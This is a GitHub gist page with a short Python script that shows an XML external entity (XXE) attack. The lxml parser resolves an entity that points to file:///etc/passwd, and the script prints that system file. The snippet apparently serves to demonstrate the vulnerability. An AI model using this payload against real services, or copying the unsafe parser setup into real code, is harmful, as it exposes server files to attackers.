Skip to content

Instantly share code, notes, and snippets.

@MartinThoma
Last active December 4, 2020 16:12
Show Gist options
  • Save MartinThoma/78d666b0b9446a6338c7e77e1cb2ae0a to your computer and use it in GitHub Desktop.
Save MartinThoma/78d666b0b9446a6338c7e77e1cb2ae0a to your computer and use it in GitHub Desktop.
from lxml import etree
xml = """
<!DOCTYPE XML [
<!ENTITY ee SYSTEM "file:///etc/passwd" >
]>
<root>&ee;</root>
"""
parser = etree.XMLParser()
doc = etree.fromstring(xml.encode(), parser)
parsed_xml = etree.tostring(doc).decode("utf8")
print(parsed_xml)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment